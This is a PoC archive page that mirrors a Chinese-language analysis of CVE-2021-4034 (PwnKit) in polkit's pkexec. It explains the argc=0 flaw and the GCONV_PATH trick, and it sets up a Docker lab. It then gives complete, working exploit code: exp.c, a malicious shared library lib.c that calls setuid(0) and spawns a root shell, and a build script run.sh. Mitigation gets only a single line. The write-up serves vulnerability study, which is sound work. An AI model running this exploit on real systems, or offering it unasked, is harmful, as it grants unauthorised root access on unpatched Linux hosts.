Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source
Associated Vulnerability
Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.
Description
CVE-2021-4034 POC and Docker and Analysis write up
Readme
# CVE-2021-4034 PolKit本地提权分析

[toc]

## 漏洞简介

漏洞编号: CVE-2021-4034

漏洞评分: 

漏洞产品: linux PolKit (pkexec)

影响范围: 影响2009年 - 今的版本(当前0.105) 参考http://its.dlut.edu.cn/info/1054/78309.htm

利用条件: linux 本地;pkexec 为suid 文件且有执行权限

源码获取: `apt source policykit-1` 

​    或 https://launchpad.net/ubuntu/bionic/+package/policykit-1

## docker环境

docker 环境: [chenaotian/cve-2021-4034](https://hub.docker.com/r/chenaotian/cve-2021-4034)

我自己搭建的docker,提供了:

1. 自己编译的可源码调试的`pkexec`
2. 有调试符号的glibc(貌似没啥用)
3. gdb 和gdb 插件pwngdb & pwndbg(貌似没必要)
4. 调试环境中的exp

所有东西都在 /root/ 目录中:

![image-20220126183638493](img/image-20220126183638493.png)

- exp 目录就是exp 和run.sh 所在目录,可以直su test 切换到test 用户然后跑
- glibc-2.27 是glibc 源码目录,大概率用不上,用到的时候方便gdb 源码调试
- polkit-0.105 是 policykit 源码包

启动docker:

```
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
```

测试exp:

```sh
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
```

## 漏洞原理

漏洞发生的产品是polkit 下的 `pkexec` 命令。`pkexec` 和`sudo` 类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过`dpkg` 命令可以查看`pkexec` 所属包:

```shell
dpkg -S /usr/bin/pkexec
```

![image-20220126152839307](img/image-20220126152839307.png)

然后获取源码包(我的docker 之中也有),之后根据源码包自己编译可以调试的版本方便调试。

### 漏洞触发点

漏洞触发原理非常简单

/polkit-0.105/src/programs/pkexec.c : 386 main

```c
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
   * 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //获取执行命令具体字符串
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      //该函数会根据PATH环境变量寻找要执行命令的绝对地址
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
    }
  ··· ···
  ··· ···
```

根据代码中我的注释分析:

1. 首先main函数中会根据用户输入的命令行参数进行一些变量设置,但这里for 循环的起始值是1,也就是说他默认我们至少会附带一个参数(需要`pkexec` 执行的命令)
2. 如果匹配到非`--`开头的命令行参数,认为是需要执行的命令,则认为该参数是要用`pkexec` 执行的命令,而跳出循环进行下面逻辑。
3. 调用`g_find_program_in_path` 函数搜索命令的绝对路径。`g_find_program_in_path` 函数会根据 `PATH` 环境变量来寻找传入参数(命令)的绝对路径。如传入`cat` 返回`/bin/cat`。
4. 将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径)

还是很好理解的,但问题在于:

1. linux 二进制程序运行时会将命令行参数`argv[]`和环境变量`environ[]`放到栈底部,并且`argv[]` 和 `environ[]` 是连着的。其中`argv[]` 最后一项是`null`。

   ![image-20220126162140802](img/image-20220126162140802.png)

2. 如果是命令行启动的`pkexec` 切不带任何其他参数,那么`argv[0]` 为`"pkexec"` ,`argv[1]` 为`\x00`  没啥问题。但如果是用`execve` 函数启动的`pkexec` ,不带任何其他参数,那么`argv[0]` 为`\x00` ,`argv[1]` 就到了环境变量了!当读取 `argv[1]` 的时候就会**越界**读取到 `environ[0]`

   命令行直接启动 `pkexec` 的`argc` 为1,`argv[0]` 就是`pkexec` 路径:

   ![image-20220126162616203](img/image-20220126162616203.png)

   用`execve` 函数启动`pkexec`,`argc` 为0:

   ![image-20220126162804529](img/image-20220126162804529.png)

   

那这回造成什么影响呢? 就是当以`execve` 启动时,不接任何其他参数,那么`argv[]` 长度为0,那么`argv[1]` 就是`environ[0]` 这样上面分析的逻辑就变成了,**获取第一个环境变量的值,并且从`PATH` 环境变量中寻找其绝对路径。如果寻找到则写回第一个环境变量。**那么利用方式如下:

## 漏洞利用

首先要明确的一点就是,`pkexec` 是一个特权(suid) 文件:

![image-20220126161324831](img/image-20220126161324831.png)

如何在特权文件中利用环境变量搞点事情呢?首先先了解一个小细节:

### 一个小细节

linux 的动态连接器`ld-linux-x86-64.so.2` 会在特权程序执行的时候清除敏感环境变量:

函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307 

```c
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //特权模式的情况下
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //循环将危险环境变量列表中的环境变量全部清空(unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}
```

危险环境变量列表 `UNSECURE_ENVVARS` 定义如下:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

```c#
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"
```

当检测到程序是特权文件(suid) 的时候,会清空上面的这些环境变量,可以看到,绝大部分是`LD_` 系列的环境变量,他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些环境变量让suid 程序加载不可信的so,造成的恶意代码执行进而提权的情况。

**而在该漏洞场景下,我们拥有一次任意环境变量写得机会,我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的环境变量中找点东西。**

### 利用原理

由于已经公布了poc,这里直接看答案就很简单了,这里参考了[arthepsy的poc](https://github.com/arthepsy/CVE-2021-4034)。内容很简单,但通过该poc 得知利用关键环境变量是**`GCONV_PATH`**。确实是上面危险环境变量列表中的一员,甚至是第一个!

关于`GCONV_PATH` 与 `iconv_open()` 函数:

> `iconv_open()` 函数申请一个转换描述符,转换字符序列从编码 `fromcode` 到编码 `tcode` 转换描述符包含转换状态。`iconv_open()` 函数首先会找到系统提供的 `gconv-modules` 文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据 `gconv-modules` 文件的指示去链接参数对应的.so文件执行具体操作。如果存在环境变量 `GCONV_PATH` ,则 `iconv_open()` 函数依照`GCONV_PATH` 找到`gconv-modules` 文件,后续操作不变。

也就是说,这里`GCONV_PATH`  环境变量也有相当于 `LD_LIBRARY_PATH` 的功能。他可以指定 `iconv_open()` 函数搜索so库的文件。我们如果可以伪造`GCONV_PATH`  然后进一步伪造 `gconv-modules`  最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。

大体思路如下:

1. 创建一个 名为 `GCONV_PATH=.` 目录

2. 在 `GCONV_PATH=.`  目录中创建一个 名为 `pwnkitdir` 的文件,权限带x

3. 创建一个 名为  `pwnkitdir`  的目录

4. 在  `pwnkit`  目录中创建 `gconv-modules` 文件,依照格式写入如下内容:

   ```
   module UTF-8// PWNKIT// pwnkit 1
   ```

5. 在  `pwnkit`  目录中放入恶意so `pwnkit.so` 里面是获取shell的代码。

6. 设置相关环境变量

   1. 第一个环境变量 `pwnkitdir`
   2. 第二个环境变量 `PATH=GCONV_PATH=.` 这样 `g_find_program_in_path` 函数组合出的路径就是`GCONV_PATH=./pwnkitdir` 正好是环境变量的格式,而且 `./pwnkitdir` 目录存在,`GCONV_PATH=./pwnkitdir` 文件也存在。
   3. `CHARSET=PWNKIT` 环境变量,在走到 `iconv_open`  前的路径中会用到,用来从 `gconv-modules` 中搜索so
   4. `SHELL=xxx` ,,在走到 `iconv_open`  前的路径中会用到 

7. 通过 `execve` 启动 `pkexec` 参数为空,环境变量为上面设置的值

然后就成功,具体exp如下:

### exp

exp.c

```c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
```

lib.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}
```

run.sh

```sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
```

利用成功:

![image-20220126182231579](img/image-20220126182231579.png)

## 缓解措施

升级最新版本

## 参考

漏洞纰漏:https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

arthepsy‘s poc:https://github.com/arthepsy/CVE-2021-4034



File Snapshot

[4.0K] /data/pocs/23fe5bed55747460c61546bb24da27eda7482c54 ├── [4.0K] img │   ├── [3.2K] image-20220126152839307.png │   ├── [5.6K] image-20220126161324831.png │   ├── [ 10K] image-20220126162140802.png │   ├── [9.1K] image-20220126162616203.png │   ├── [6.8K] image-20220126162804529.png │   ├── [1.9K] image-20220126182231579.png │   └── [3.5K] image-20220126183638493.png ├── [4.0K] poc │   ├── [ 377] exp.c │   ├── [ 364] lib.c │   └── [ 283] run.sh └── [ 12K] README.md 2 directories, 11 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →